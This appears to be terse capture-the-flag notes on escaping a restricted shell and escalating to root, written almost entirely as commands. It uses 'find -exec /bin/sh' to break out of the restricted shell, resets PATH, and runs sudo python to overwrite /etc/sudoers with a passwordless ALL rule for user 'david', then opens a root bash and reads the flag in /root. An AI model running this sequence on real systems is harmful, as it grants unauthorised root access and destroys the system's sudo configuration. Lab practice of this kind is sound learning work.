Restricted Shell

whoami

echo $PATH

ls -l $PATH

find . -exec /bin/sh \;

export PATH=/bin:/usr/bin

sudo -ls

$ sudo python

>>> import os

>>> os.system("echo 'david ALL=NOPASSWD:ALL' > /etc/sudoers")

>>> quit()

$ whoami

$ sudo bash

whoami

cd /root

cat flag